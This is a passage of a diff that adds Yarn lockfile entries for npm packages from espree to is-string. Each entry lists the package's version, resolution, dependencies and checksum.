node + linkType: hard + +"espree@npm:^11.1.0": + version: 11.1.1 + resolution: "espree@npm:11.1.1" + dependencies: + acorn: "npm:^8.16.0" + acorn-jsx: "npm:^5.3.2" + eslint-visitor-keys: "npm:^5.0.1" + checksum: 10c0/2feae74efdfb037b9e9fcb30506799845cf20900de5e441ed03e5c51aaa249f85ea5818ff177682acc0c9bfb4ac97e1965c238ee44ac7c305aab8747177bab69 + languageName: node + linkType: hard + +"esquery@npm:^1.7.0": + version: 1.7.0 + resolution: "esquery@npm:1.7.0" + dependencies: + estraverse: "npm:^5.1.0" + checksum: 10c0/77d5173db450b66f3bc685d11af4c90cffeedb340f34a39af96d43509a335ce39c894fd79233df32d38f5e4e219fa0f7076f6ec90bae8320170ba082c0db4793 + languageName: node + linkType: hard + +"esrecurse@npm:^4.3.0": + version: 4.3.0 + resolution: "esrecurse@npm:4.3.0" + dependencies: + estraverse: "npm:^5.2.0" + checksum: 10c0/81a37116d1408ded88ada45b9fb16dbd26fba3aadc369ce50fcaf82a0bac12772ebd7b24cd7b91fc66786bf2c1ac7b5f196bc990a473efff972f5cb338877cf5 + languageName: node + linkType: hard + +"estraverse@npm:^5.1.0, estraverse@npm:^5.2.0, estraverse@npm:^5.3.0": + version: 5.3.0 + resolution: "estraverse@npm:5.3.0" + checksum: 10c0/1ff9447b96263dec95d6d67431c5e0771eb9776427421260a3e2f0fdd5d6bd4f8e37a7338f5ad2880c9f143450c9b1e4fc2069060724570a49cf9cf0312bd107 + languageName: node + linkType: hard + +"esutils@npm:^2.0.2": + version: 2.0.3 + resolution: "esutils@npm:2.0.3" + checksum: 10c0/9a2fe69a41bfdade834ba7c42de4723c97ec776e40656919c62cbd13607c45e127a003f05f724a1ea55e5029a4cf2de444b13009f2af71271e42d93a637137c7 + languageName: node + linkType: hard + +"exponential-backoff@npm:^3.1.1": + version: 3.1.3 + resolution: "exponential-backoff@npm:3.1.3" + checksum: 10c0/77e3ae682b7b1f4972f563c6dbcd2b0d54ac679e62d5d32f3e5085feba20483cf28bd505543f520e287a56d4d55a28d7874299941faf637e779a1aa5994d1267 + languageName: node + linkType: hard + +"fast-deep-equal@npm:^3.1.1, fast-deep-equal@npm:^3.1.3": + version: 3.1.3 + resolution: "fast-deep-equal@npm:3.1.3" + checksum: 10c0/40dedc862eb8992c54579c66d914635afbec43350afbbe991235fdcb4e3a8d5af1b23ae7e79bef7d4882d0ecee06c3197488026998fb19f72dc95acff1d1b1d0 + languageName: node + linkType: hard + +"fast-diff@npm:^1.1.2": + version: 1.3.0 + resolution: "fast-diff@npm:1.3.0" + checksum: 10c0/5c19af237edb5d5effda008c891a18a585f74bf12953be57923f17a3a4d0979565fc64dbc73b9e20926b9d895f5b690c618cbb969af0cf022e3222471220ad29 + languageName: node + linkType: hard + +"fast-json-stable-stringify@npm:^2.0.0": + version: 2.1.0 + resolution: "fast-json-stable-stringify@npm:2.1.0" + checksum: 10c0/7f081eb0b8a64e0057b3bb03f974b3ef00135fbf36c1c710895cd9300f13c94ba809bb3a81cf4e1b03f6e5285610a61abbd7602d0652de423144dfee5a389c9b + languageName: node + linkType: hard + +"fast-levenshtein@npm:^2.0.6": + version: 2.0.6 + resolution: "fast-levenshtein@npm:2.0.6" + checksum: 10c0/111972b37338bcb88f7d9e2c5907862c280ebf4234433b95bc611e518d192ccb2d38119c4ac86e26b668d75f7f3894f4ff5c4982899afced7ca78633b08287c4 + languageName: node + linkType: hard + +"fdir@npm:^6.5.0": + version: 6.5.0 + resolution: "fdir@npm:6.5.0" + peerDependencies: + picomatch: ^3 || ^4 + peerDependenciesMeta: + picomatch: + optional: true + checksum: 10c0/e345083c4306b3aed6cb8ec551e26c36bab5c511e99ea4576a16750ddc8d3240e63826cc624f5ae17ad4dc82e68a253213b60d556c11bfad064b7607847ed07f + languageName: node + linkType: hard + +"file-entry-cache@npm:^8.0.0": + version: 8.0.0 + resolution: "file-entry-cache@npm:8.0.0" + dependencies: + flat-cache: "npm:^4.0.0" + checksum: 10c0/9e2b5938b1cd9b6d7e3612bdc533afd4ac17b2fc646569e9a8abbf2eb48e5eb8e316bc38815a3ef6a1b456f4107f0d0f055a614ca613e75db6bf9ff4d72c1638 + languageName: node + linkType: hard + +"find-root@npm:^1.1.0": + version: 1.1.0 + resolution: "find-root@npm:1.1.0" + checksum: 10c0/1abc7f3bf2f8d78ff26d9e00ce9d0f7b32e5ff6d1da2857bcdf4746134c422282b091c672cde0572cac3840713487e0a7a636af9aa1b74cb11894b447a521efa + languageName: node + linkType: hard + +"find-up@npm:^5.0.0": + version: 5.0.0 + resolution: "find-up@npm:5.0.0" + dependencies: + locate-path: "npm:^6.0.0" + path-exists: "npm:^4.0.0" + checksum: 10c0/062c5a83a9c02f53cdd6d175a37ecf8f87ea5bbff1fdfb828f04bfa021441bc7583e8ebc0872a4c1baab96221fb8a8a275a19809fb93fbc40bd69ec35634069a + languageName: node + linkType: hard + +"flat-cache@npm:^4.0.0": + version: 4.0.1 + resolution: "flat-cache@npm:4.0.1" + dependencies: + flatted: "npm:^3.2.9" + keyv: "npm:^4.5.4" + checksum: 10c0/2c59d93e9faa2523e4fda6b4ada749bed432cfa28c8e251f33b25795e426a1c6dbada777afb1f74fcfff33934fdbdea921ee738fcc33e71adc9d6eca984a1cfc + languageName: node + linkType: hard + +"flatqueue@npm:^3.0.0": + version: 3.0.0 + resolution: "flatqueue@npm:3.0.0" + checksum: 10c0/585f4f2c6c3d080b9ef32318258984c5602fb94990886e53c8cf1272ed3629efd64157b1f06b9f0c584b3dc79da547279246027c282ac07e3199ec490dc7c91d + languageName: node + linkType: hard + +"flatted@npm:^3.2.9": + version: 3.3.3 + resolution: "flatted@npm:3.3.3" + checksum: 10c0/e957a1c6b0254aa15b8cce8533e24165abd98fadc98575db082b786b5da1b7d72062b81bfdcd1da2f4d46b6ed93bec2434e62333e9b4261d79ef2e75a10dd538 + languageName: node + linkType: hard + +"for-each@npm:^0.3.3, for-each@npm:^0.3.5": + version: 0.3.5 + resolution: "for-each@npm:0.3.5" + dependencies: + is-callable: "npm:^1.2.7" + checksum: 10c0/0e0b50f6a843a282637d43674d1fb278dda1dd85f4f99b640024cfb10b85058aac0cc781bf689d5fe50b4b7f638e91e548560723a4e76e04fe96ae35ef039cee + languageName: node + linkType: hard + +"formik@npm:2.4.9": + version: 2.4.9 + resolution: "formik@npm:2.4.9" + dependencies: + "@types/hoist-non-react-statics": "npm:^3.3.1" + deepmerge: "npm:^2.1.1" + hoist-non-react-statics: "npm:^3.3.0" + lodash: "npm:^4.17.21" + lodash-es: "npm:^4.17.21" + react-fast-compare: "npm:^2.0.1" + tiny-warning: "npm:^1.0.2" + tslib: "npm:^2.0.0" + peerDependencies: + react: ">=16.8.0" + checksum: 10c0/2b76154b624f4464871f56204a7a87fec9f0cc24d742ad4e20628bd680a81ef2ae9966f54b616003f623dc1f7c7b25a25aafa8a59bcc1d940b7526fb665dbd0b + languageName: node + linkType: hard + +"framer-motion@npm:12.34.2": + version: 12.34.2 + resolution: "framer-motion@npm:12.34.2" + dependencies: + motion-dom: "npm:^12.34.2" + motion-utils: "npm:^12.29.2" + tslib: "npm:^2.4.0" + peerDependencies: + "@emotion/is-prop-valid": "*" + react: ^18.0.0 || ^19.0.0 + react-dom: ^18.0.0 || ^19.0.0 + peerDependenciesMeta: + "@emotion/is-prop-valid": + optional: true + react: + optional: true + react-dom: + optional: true + checksum: 10c0/1af7caabe56275e82fc1abc73e6172cb0f0b8eb71fa4315353d8f39097dc2b76036eb77002897d73d8c577f226e3d9abf4cb1b3e51a6634f8664dc3ca82f6ddf + languageName: node + linkType: hard + +"fs-minipass@npm:^3.0.0": + version: 3.0.3 + resolution: "fs-minipass@npm:3.0.3" + dependencies: + minipass: "npm:^7.0.3" + checksum: 10c0/63e80da2ff9b621e2cb1596abcb9207f1cf82b968b116ccd7b959e3323144cce7fb141462200971c38bbf2ecca51695069db45265705bed09a7cd93ae5b89f94 + languageName: node + linkType: hard + +"fsevents@npm:~2.3.2, fsevents@npm:~2.3.3": + version: 2.3.3 + resolution: "fsevents@npm:2.3.3" + dependencies: + node-gyp: "npm:latest" + checksum: 10c0/a1f0c44595123ed717febbc478aa952e47adfc28e2092be66b8ab1635147254ca6cfe1df792a8997f22716d4cbafc73309899ff7bfac2ac3ad8cf2e4ecc3ec60 + conditions: os=darwin + languageName: node + linkType: hard + +"fsevents@patch:fsevents@npm%3A~2.3.2#optional!builtin<compat/fsevents>, fsevents@patch:fsevents@npm%3A~2.3.3#optional!builtin<compat/fsevents>": + version: 2.3.3 + resolution: "fsevents@patch:fsevents@npm%3A2.3.3#optional!builtin<compat/fsevents>::version=2.3.3&hash=df0bf1" + dependencies: + node-gyp: "npm:latest" + conditions: os=darwin + languageName: node + linkType: hard + +"function-bind@npm:^1.1.2": + version: 1.1.2 + resolution: "function-bind@npm:1.1.2" + checksum: 10c0/d8680ee1e5fcd4c197e4ac33b2b4dce03c71f4d91717292785703db200f5c21f977c568d28061226f9b5900cbcd2c84463646134fd5337e7925e0942bc3f46d5 + languageName: node + linkType: hard + +"function.prototype.name@npm:^1.1.6, function.prototype.name@npm:^1.1.8": + version: 1.1.8 + resolution: "function.prototype.name@npm:1.1.8" + dependencies: + call-bind: "npm:^1.0.8" + call-bound: "npm:^1.0.3" + define-properties: "npm:^1.2.1" + functions-have-names: "npm:^1.2.3" + hasown: "npm:^2.0.2" + is-callable: "npm:^1.2.7" + checksum: 10c0/e920a2ab52663005f3cbe7ee3373e3c71c1fb5558b0b0548648cdf3e51961085032458e26c71ff1a8c8c20e7ee7caeb03d43a5d1fa8610c459333323a2e71253 + languageName: node + linkType: hard + +"functions-have-names@npm:^1.2.3": + version: 1.2.3 + resolution: "functions-have-names@npm:1.2.3" + checksum: 10c0/33e77fd29bddc2d9bb78ab3eb854c165909201f88c75faa8272e35899e2d35a8a642a15e7420ef945e1f64a9670d6aa3ec744106b2aa42be68ca5114025954ca + languageName: node + linkType: hard + +"generator-function@npm:^2.0.0": + version: 2.0.1 + resolution: "generator-function@npm:2.0.1" + checksum: 10c0/8a9f59df0f01cfefafdb3b451b80555e5cf6d76487095db91ac461a0e682e4ff7a9dbce15f4ecec191e53586d59eece01949e05a4b4492879600bbbe8e28d6b8 + languageName: node + linkType: hard + +"gensync@npm:^1.0.0-beta.2": + version: 1.0.0-beta.2 + resolution: "gensync@npm:1.0.0-beta.2" + checksum: 10c0/782aba6cba65b1bb5af3b095d96249d20edbe8df32dbf4696fd49be2583faf676173bf4809386588828e4dd76a3354fcbeb577bab1c833ccd9fc4577f26103f8 + languageName: node + linkType: hard + +"get-intrinsic@npm:^1.2.4, get-intrinsic@npm:^1.2.5, get-intrinsic@npm:^1.2.6, get-intrinsic@npm:^1.2.7, get-intrinsic@npm:^1.3.0": + version: 1.3.1 + resolution: "get-intrinsic@npm:1.3.1" + dependencies: + async-function: "npm:^1.0.0" + async-generator-function: "npm:^1.0.0" + call-bind-apply-helpers: "npm:^1.0.2" + es-define-property: "npm:^1.0.1" + es-errors: "npm:^1.3.0" + es-object-atoms: "npm:^1.1.1" + function-bind: "npm:^1.1.2" + generator-function: "npm:^2.0.0" + get-proto: "npm:^1.0.1" + gopd: "npm:^1.2.0" + has-symbols: "npm:^1.1.0" + hasown: "npm:^2.0.2" + math-intrinsics: "npm:^1.1.0" + checksum: 10c0/9f4ab0cf7efe0fd2c8185f52e6f637e708f3a112610c88869f8f041bb9ecc2ce44bf285dfdbdc6f4f7c277a5b88d8e94a432374d97cca22f3de7fc63795deb5d + languageName: node + linkType: hard + +"get-proto@npm:^1.0.0, get-proto@npm:^1.0.1": + version: 1.0.1 + resolution: "get-proto@npm:1.0.1" + dependencies: + dunder-proto: "npm:^1.0.1" + es-object-atoms: "npm:^1.0.0" + checksum: 10c0/9224acb44603c5526955e83510b9da41baf6ae73f7398875fba50edc5e944223a89c4a72b070fcd78beb5f7bdda58ecb6294adc28f7acfc0da05f76a2399643c + languageName: node + linkType: hard + +"get-symbol-description@npm:^1.1.0": + version: 1.1.0 + resolution: "get-symbol-description@npm:1.1.0" + dependencies: + call-bound: "npm:^1.0.3" + es-errors: "npm:^1.3.0" + get-intrinsic: "npm:^1.2.6" + checksum: 10c0/d6a7d6afca375779a4b307738c9e80dbf7afc0bdbe5948768d54ab9653c865523d8920e670991a925936eb524b7cb6a6361d199a760b21d0ca7620194455aa4b + languageName: node + linkType: hard + +"glob-parent@npm:^6.0.2": + version: 6.0.2 + resolution: "glob-parent@npm:6.0.2" + dependencies: + is-glob: "npm:^4.0.3" + checksum: 10c0/317034d88654730230b3f43bb7ad4f7c90257a426e872ea0bf157473ac61c99bf5d205fad8f0185f989be8d2fa6d3c7dce1645d99d545b6ea9089c39f838e7f8 + languageName: node + linkType: hard + +"glob-regex@npm:^0.3.0": + version: 0.3.2 + resolution: "glob-regex@npm:0.3.2" + checksum: 10c0/73cbaef56796ab967b516e0db07375c26535274fa259ce06da82b7dd25a138bf318237fd0cd93a6b0490e4d90db9f127193d8184e5c1acc296d2e5b879e66206 + languageName: node + linkType: hard + +"glob@npm:^13.0.0": + version: 13.0.6 + resolution: "glob@npm:13.0.6" + dependencies: + minimatch: "npm:^10.2.2" + minipass: "npm:^7.1.3" + path-scurry: "npm:^2.0.2" + checksum: 10c0/269c236f11a9b50357fe7a8c6aadac667e01deb5242b19c84975628f05f4438d8ee1354bb62c5d6c10f37fd59911b54d7799730633a2786660d8c69f1d18120a + languageName: node + linkType: hard + +"globals@npm:^14.0.0": + version: 14.0.0 + resolution: "globals@npm:14.0.0" + checksum: 10c0/b96ff42620c9231ad468d4c58ff42afee7777ee1c963013ff8aabe095a451d0ceeb8dcd8ef4cbd64d2538cef45f787a78ba3a9574f4a634438963e334471302d + languageName: node + linkType: hard + +"globalthis@npm:^1.0.4": + version: 1.0.4 + resolution: "globalthis@npm:1.0.4" + dependencies: + define-properties: "npm:^1.2.1" + gopd: "npm:^1.0.1" + checksum: 10c0/9d156f313af79d80b1566b93e19285f481c591ad6d0d319b4be5e03750d004dde40a39a0f26f7e635f9007a3600802f53ecd85a759b86f109e80a5f705e01846 + languageName: node + linkType: hard + +"globrex@npm:^0.1.2": + version: 0.1.2 + resolution: "globrex@npm:0.1.2" + checksum: 10c0/a54c029520cf58bda1d8884f72bd49b4cd74e977883268d931fd83bcbd1a9eb96d57c7dbd4ad80148fb9247467ebfb9b215630b2ed7563b2a8de02e1ff7f89d1 + languageName: node + linkType: hard + +"gopd@npm:^1.0.1, gopd@npm:^1.2.0": + version: 1.2.0 + resolution: "gopd@npm:1.2.0" + checksum: 10c0/50fff1e04ba2b7737c097358534eacadad1e68d24cccee3272e04e007bed008e68d2614f3987788428fd192a5ae3889d08fb2331417e4fc4a9ab366b2043cead + languageName: node + linkType: hard + +"graceful-fs@npm:^4.2.6": + version: 4.2.11 + resolution: "graceful-fs@npm:4.2.11" + checksum: 10c0/386d011a553e02bc594ac2ca0bd6d9e4c22d7fa8cfbfc448a6d148c59ea881b092db9dbe3547ae4b88e55f1b01f7c4a2ecc53b310c042793e63aa44cf6c257f2 + languageName: node + linkType: hard + +"has-bigints@npm:^1.0.2": + version: 1.1.0 + resolution: "has-bigints@npm:1.1.0" + checksum: 10c0/2de0cdc4a1ccf7a1e75ffede1876994525ac03cc6f5ae7392d3415dd475cd9eee5bceec63669ab61aa997ff6cceebb50ef75561c7002bed8988de2b9d1b40788 + languageName: node + linkType: hard + +"has-property-descriptors@npm:^1.0.0, has-property-descriptors@npm:^1.0.2": + version: 1.0.2 + resolution: "has-property-descriptors@npm:1.0.2" + dependencies: + es-define-property: "npm:^1.0.0" + checksum: 10c0/253c1f59e80bb476cf0dde8ff5284505d90c3bdb762983c3514d36414290475fe3fd6f574929d84de2a8eec00d35cf07cb6776205ff32efd7c50719125f00236 + languageName: node + linkType: hard + +"has-proto@npm:^1.2.0": + version: 1.2.0 + resolution: "has-proto@npm:1.2.0" + dependencies: + dunder-proto: "npm:^1.0.0" + checksum: 10c0/46538dddab297ec2f43923c3d35237df45d8c55a6fc1067031e04c13ed8a9a8f94954460632fd4da84c31a1721eefee16d901cbb1ae9602bab93bb6e08f93b95 + languageName: node + linkType: hard + +"has-symbols@npm:^1.0.3, has-symbols@npm:^1.1.0": + version: 1.1.0 + resolution: "has-symbols@npm:1.1.0" + checksum: 10c0/dde0a734b17ae51e84b10986e651c664379018d10b91b6b0e9b293eddb32f0f069688c841fb40f19e9611546130153e0a2a48fd7f512891fb000ddfa36f5a20e + languageName: node + linkType: hard + +"has-tostringtag@npm:^1.0.2": + version: 1.0.2 + resolution: "has-tostringtag@npm:1.0.2" + dependencies: + has-symbols: "npm:^1.0.3" + checksum: 10c0/a8b166462192bafe3d9b6e420a1d581d93dd867adb61be223a17a8d6dad147aa77a8be32c961bb2f27b3ef893cae8d36f564ab651f5e9b7938ae86f74027c48c + languageName: node + linkType: hard + +"hasown@npm:^2.0.2": + version: 2.0.2 + resolution: "hasown@npm:2.0.2" + dependencies: + function-bind: "npm:^1.1.2" + checksum: 10c0/3769d434703b8ac66b209a4cca0737519925bbdb61dd887f93a16372b14694c63ff4e797686d87c90f08168e81082248b9b028bad60d4da9e0d1148766f56eb9 + languageName: node + linkType: hard + +"hermes-estree@npm:0.25.1": + version: 0.25.1 + resolution: "hermes-estree@npm:0.25.1" + checksum: 10c0/48be3b2fa37a0cbc77a112a89096fa212f25d06de92781b163d67853d210a8a5c3784fac23d7d48335058f7ed283115c87b4332c2a2abaaccc76d0ead1a282ac + languageName: node + linkType: hard + +"hermes-parser@npm:^0.25.1": + version: 0.25.1 + resolution: "hermes-parser@npm:0.25.1" + dependencies: + hermes-estree: "npm:0.25.1" + checksum: 10c0/3abaa4c6f1bcc25273f267297a89a4904963ea29af19b8e4f6eabe04f1c2c7e9abd7bfc4730ddb1d58f2ea04b6fee74053d8bddb5656ec6ebf6c79cc8d14202c + languageName: node + linkType: hard + +"hoist-non-react-statics@npm:^3.3.0, hoist-non-react-statics@npm:^3.3.1": + version: 3.3.2 + resolution: "hoist-non-react-statics@npm:3.3.2" + dependencies: + react-is: "npm:^16.7.0" + checksum: 10c0/fe0889169e845d738b59b64badf5e55fa3cf20454f9203d1eb088df322d49d4318df774828e789898dcb280e8a5521bb59b3203385662ca5e9218a6ca5820e74 + languageName: node + linkType: hard + +"http-cache-semantics@npm:^4.1.1": + version: 4.2.0 + resolution: "http-cache-semantics@npm:4.2.0" + checksum: 10c0/45b66a945cf13ec2d1f29432277201313babf4a01d9e52f44b31ca923434083afeca03f18417f599c9ab3d0e7b618ceb21257542338b57c54b710463b4a53e37 + languageName: node + linkType: hard + +"http-proxy-agent@npm:^7.0.0": + version: 7.0.2 + resolution: "http-proxy-agent@npm:7.0.2" + dependencies: + agent-base: "npm:^7.1.0" + debug: "npm:^4.3.4" + checksum: 10c0/4207b06a4580fb85dd6dff521f0abf6db517489e70863dca1a0291daa7f2d3d2d6015a57bd702af068ea5cf9f1f6ff72314f5f5b4228d299c0904135d2aef921 + languageName: node + linkType: hard + +"https-proxy-agent@npm:^7.0.1": + version: 7.0.6 + resolution: "https-proxy-agent@npm:7.0.6" + dependencies: + agent-base: "npm:^7.1.2" + debug: "npm:4" + checksum: 10c0/f729219bc735edb621fa30e6e84e60ee5d00802b8247aac0d7b79b0bd6d4b3294737a337b93b86a0bd9e68099d031858a39260c976dc14cdbba238ba1f8779ac + languageName: node + linkType: hard + +"iconv-lite@npm:^0.6.2": + version: 0.6.3 + resolution: "iconv-lite@npm:0.6.3" + dependencies: + safer-buffer: "npm:>= 2.1.2 < 3.0.0" + checksum: 10c0/98102bc66b33fcf5ac044099d1257ba0b7ad5e3ccd3221f34dd508ab4070edff183276221684e1e0555b145fce0850c9f7d2b60a9fcac50fbb4ea0d6e845a3b1 + languageName: node + linkType: hard + +"ignore@npm:^5.2.0": + version: 5.3.2 + resolution: "ignore@npm:5.3.2" + checksum: 10c0/f9f652c957983634ded1e7f02da3b559a0d4cc210fca3792cb67f1b153623c9c42efdc1c4121af171e295444459fc4a9201101fb041b1104a3c000bccb188337 + languageName: node + linkType: hard + +"import-fresh@npm:^3.2.1": + version: 3.3.1 + resolution: "import-fresh@npm:3.3.1" + dependencies: + parent-module: "npm:^1.0.0" + resolve-from: "npm:^4.0.0" + checksum: 10c0/bf8cc494872fef783249709385ae883b447e3eb09db0ebd15dcead7d9afe7224dad7bd7591c6b73b0b19b3c0f9640eb8ee884f01cfaf2887ab995b0b36a0cbec + languageName: node + linkType: hard + +"imurmurhash@npm:^0.1.4": + version: 0.1.4 + resolution: "imurmurhash@npm:0.1.4" + checksum: 10c0/8b51313850dd33605c6c9d3fd9638b714f4c4c40250cff658209f30d40da60f78992fb2df5dabee4acf589a6a82bbc79ad5486550754bd9ec4e3fc0d4a57d6a6 + languageName: node + linkType: hard + +"internal-slot@npm:^1.1.0": + version: 1.1.0 + resolution: "internal-slot@npm:1.1.0" + dependencies: + es-errors: "npm:^1.3.0" + hasown: "npm:^2.0.2" + side-channel: "npm:^1.1.0" + checksum: 10c0/03966f5e259b009a9bf1a78d60da920df198af4318ec004f57b8aef1dd3fe377fbc8cce63a96e8c810010302654de89f9e19de1cd8ad0061d15be28a695465c7 + languageName: node + linkType: hard + +"internmap@npm:1 - 2, internmap@npm:^2.0.3": + version: 2.0.3 + resolution: "internmap@npm:2.0.3" + checksum: 10c0/8cedd57f07bbc22501516fbfc70447f0c6812871d471096fad9ea603516eacc2137b633633daf432c029712df0baefd793686388ddf5737e3ea15074b877f7ed + languageName: node + linkType: hard + +"ip-address@npm:^10.0.1": + version: 10.1.0 + resolution: "ip-address@npm:10.1.0" + checksum: 10c0/0103516cfa93f6433b3bd7333fa876eb21263912329bfa47010af5e16934eeeff86f3d2ae700a3744a137839ddfad62b900c7a445607884a49b5d1e32a3d7566 + languageName: node + linkType: hard + +"is-array-buffer@npm:^3.0.4, is-array-buffer@npm:^3.0.5": + version: 3.0.5 + resolution: "is-array-buffer@npm:3.0.5" + dependencies: + call-bind: "npm:^1.0.8" + call-bound: "npm:^1.0.3" + get-intrinsic: "npm:^1.2.6" + checksum: 10c0/c5c9f25606e86dbb12e756694afbbff64bc8b348d1bc989324c037e1068695131930199d6ad381952715dad3a9569333817f0b1a72ce5af7f883ce802e49c83d + languageName: node + linkType: hard + +"is-arrayish@npm:^0.2.1": + version: 0.2.1 + resolution: "is-arrayish@npm:0.2.1" + checksum: 10c0/e7fb686a739068bb70f860b39b67afc62acc62e36bb61c5f965768abce1873b379c563e61dd2adad96ebb7edf6651111b385e490cf508378959b0ed4cac4e729 + languageName: node + linkType: hard + +"is-async-function@npm:^2.0.0": + version: 2.1.1 + resolution: "is-async-function@npm:2.1.1" + dependencies: + async-function: "npm:^1.0.0" + call-bound: "npm:^1.0.3" + get-proto: "npm:^1.0.1" + has-tostringtag: "npm:^1.0.2" + safe-regex-test: "npm:^1.1.0" + checksum: 10c0/d70c236a5e82de6fc4d44368ffd0c2fee2b088b893511ce21e679da275a5ecc6015ff59a7d7e1bdd7ca39f71a8dbdd253cf8cce5c6b3c91cdd5b42b5ce677298 + languageName: node + linkType: hard + +"is-bigint@npm:^1.1.0": + version: 1.1.0 + resolution: "is-bigint@npm:1.1.0" + dependencies: + has-bigints: "npm:^1.0.2" + checksum: 10c0/f4f4b905ceb195be90a6ea7f34323bf1c18e3793f18922e3e9a73c684c29eeeeff5175605c3a3a74cc38185fe27758f07efba3dbae812e5c5afbc0d2316b40e4 + languageName: node + linkType: hard + +"is-boolean-object@npm:^1.2.1": + version: 1.2.2 + resolution: "is-boolean-object@npm:1.2.2" + dependencies: + call-bound: "npm:^1.0.3" + has-tostringtag: "npm:^1.0.2" + checksum: 10c0/36ff6baf6bd18b3130186990026f5a95c709345c39cd368468e6c1b6ab52201e9fd26d8e1f4c066357b4938b0f0401e1a5000e08257787c1a02f3a719457001e + languageName: node + linkType: hard + +"is-callable@npm:^1.2.7": + version: 1.2.7 + resolution: "is-callable@npm:1.2.7" + checksum: 10c0/ceebaeb9d92e8adee604076971dd6000d38d6afc40bb843ea8e45c5579b57671c3f3b50d7f04869618242c6cee08d1b67806a8cb8edaaaf7c0748b3720d6066f + languageName: node + linkType: hard + +"is-core-module@npm:^2.16.1": + version: 2.16.1 + resolution: "is-core-module@npm:2.16.1" + dependencies: + hasown: "npm:^2.0.2" + checksum: 10c0/898443c14780a577e807618aaae2b6f745c8538eca5c7bc11388a3f2dc6de82b9902bcc7eb74f07be672b11bbe82dd6a6edded44a00cb3d8f933d0459905eedd + languageName: node + linkType: hard + +"is-data-view@npm:^1.0.1, is-data-view@npm:^1.0.2": + version: 1.0.2 + resolution: "is-data-view@npm:1.0.2" + dependencies: + call-bound: "npm:^1.0.2" + get-intrinsic: "npm:^1.2.6" + is-typed-array: "npm:^1.1.13" + checksum: 10c0/ef3548a99d7e7f1370ce21006baca6d40c73e9f15c941f89f0049c79714c873d03b02dae1c64b3f861f55163ecc16da06506c5b8a1d4f16650b3d9351c380153 + languageName: node + linkType: hard + +"is-date-object@npm:^1.0.5, is-date-object@npm:^1.1.0": + version: 1.1.0 + resolution: "is-date-object@npm:1.1.0" + dependencies: + call-bound: "npm:^1.0.2" + has-tostringtag: "npm:^1.0.2" + checksum: 10c0/1a4d199c8e9e9cac5128d32e6626fa7805175af9df015620ac0d5d45854ccf348ba494679d872d37301032e35a54fc7978fba1687e8721b2139aea7870cafa2f + languageName: node + linkType: hard + +"is-extglob@npm:^2.1.1": + version: 2.1.1 + resolution: "is-extglob@npm:2.1.1" + checksum: 10c0/5487da35691fbc339700bbb2730430b07777a3c21b9ebaecb3072512dfd7b4ba78ac2381a87e8d78d20ea08affb3f1971b4af629173a6bf435ff8a4c47747912 + languageName: node + linkType: hard + +"is-finalizationregistry@npm:^1.1.0": + version: 1.1.1 + resolution: "is-finalizationregistry@npm:1.1.1" + dependencies: + call-bound: "npm:^1.0.3" + checksum: 10c0/818dff679b64f19e228a8205a1e2d09989a98e98def3a817f889208cfcbf918d321b251aadf2c05918194803ebd2eb01b14fc9d0b2bea53d984f4137bfca5e97 + languageName: node + linkType: hard + +"is-generator-function@npm:^1.0.10": + version: 1.1.2 + resolution: "is-generator-function@npm:1.1.2" + dependencies: + call-bound: "npm:^1.0.4" + generator-function: "npm:^2.0.0" + get-proto: "npm:^1.0.1" + has-tostringtag: "npm:^1.0.2" + safe-regex-test: "npm:^1.1.0" + checksum: 10c0/83da102e89c3e3b71d67b51d47c9f9bc862bceb58f87201727e27f7fa19d1d90b0ab223644ecaee6fc6e3d2d622bb25c966fbdaf87c59158b01ce7c0fe2fa372 + languageName: node + linkType: hard + +"is-glob@npm:^4.0.0, is-glob@npm:^4.0.3": + version: 4.0.3 + resolution: "is-glob@npm:4.0.3" + dependencies: + is-extglob: "npm:^2.1.1" + checksum: 10c0/17fb4014e22be3bbecea9b2e3a76e9e34ff645466be702f1693e8f1ee1adac84710d0be0bd9f967d6354036fd51ab7c2741d954d6e91dae6bb69714de92c197a + languageName: node + linkType: hard + +"is-map@npm:^2.0.3": + version: 2.0.3 + resolution: "is-map@npm:2.0.3" + checksum: 10c0/2c4d431b74e00fdda7162cd8e4b763d6f6f217edf97d4f8538b94b8702b150610e2c64961340015fe8df5b1fcee33ccd2e9b62619c4a8a3a155f8de6d6d355fc + languageName: node + linkType: hard + +"is-mobile@npm:^5.0.0": + version: 5.0.0 + resolution: "is-mobile@npm:5.0.0" + checksum: 10c0/70b31c3e4489109e02deb9b590e74858aeec7ef775a882d89ec030cb7dbaeb2be1173d7faee495049629e49822d0aba9b20e6653b1e25dd7c9121247cb8829d7 + languageName: node + linkType: hard + +"is-negative-zero@npm:^2.0.3": + version: 2.0.3 + resolution: "is-negative-zero@npm:2.0.3" + checksum: 10c0/bcdcf6b8b9714063ffcfa9929c575ac69bfdabb8f4574ff557dfc086df2836cf07e3906f5bbc4f2a5c12f8f3ba56af640c843cdfc74da8caed86c7c7d66fd08e + languageName: node + linkType: hard + +"is-number-object@npm:^1.1.1": + version: 1.1.1 + resolution: "is-number-object@npm:1.1.1" + dependencies: + call-bound: "npm:^1.0.3" + has-tostringtag: "npm:^1.0.2" + checksum: 10c0/97b451b41f25135ff021d85c436ff0100d84a039bb87ffd799cbcdbea81ef30c464ced38258cdd34f080be08fc3b076ca1f472086286d2aa43521d6ec6a79f53 + languageName: node + linkType: hard + +"is-regex@npm:^1.2.1": + version: 1.2.1 + resolution: "is-regex@npm:1.2.1" + dependencies: + call-bound: "npm:^1.0.2" + gopd: "npm:^1.2.0" + has-tostringtag: "npm:^1.0.2" + hasown: "npm:^2.0.2" + checksum: 10c0/1d3715d2b7889932349241680032e85d0b492cfcb045acb75ffc2c3085e8d561184f1f7e84b6f8321935b4aea39bc9c6ba74ed595b57ce4881a51dfdbc214e04 + languageName: node + linkType: hard + +"is-set@npm:^2.0.3": + version: 2.0.3 + resolution: "is-set@npm:2.0.3" + checksum: 10c0/f73732e13f099b2dc879c2a12341cfc22ccaca8dd504e6edae26484bd5707a35d503fba5b4daad530a9b088ced1ae6c9d8200fd92e09b428fe14ea79ce8080b7 + languageName: node + linkType: hard + +"is-shared-array-buffer@npm:^1.0.4": + version: 1.0.4 + resolution: "is-shared-array-buffer@npm:1.0.4" + dependencies: + call-bound: "npm:^1.0.3" + checksum: 10c0/65158c2feb41ff1edd6bbd6fd8403a69861cf273ff36077982b5d4d68e1d59278c71691216a4a64632bd76d4792d4d1d2553901b6666d84ade13bba5ea7bc7db + languageName: node + linkType: hard + +"is-string@npm:^1.1.1": + version: 1.1.1 + resolution: "is-string@npm:1.1.1" + dependencies: + call-bound: "npm:^1.0.3" + has-tostringtag: "npm:^1.0.2" + checksum: 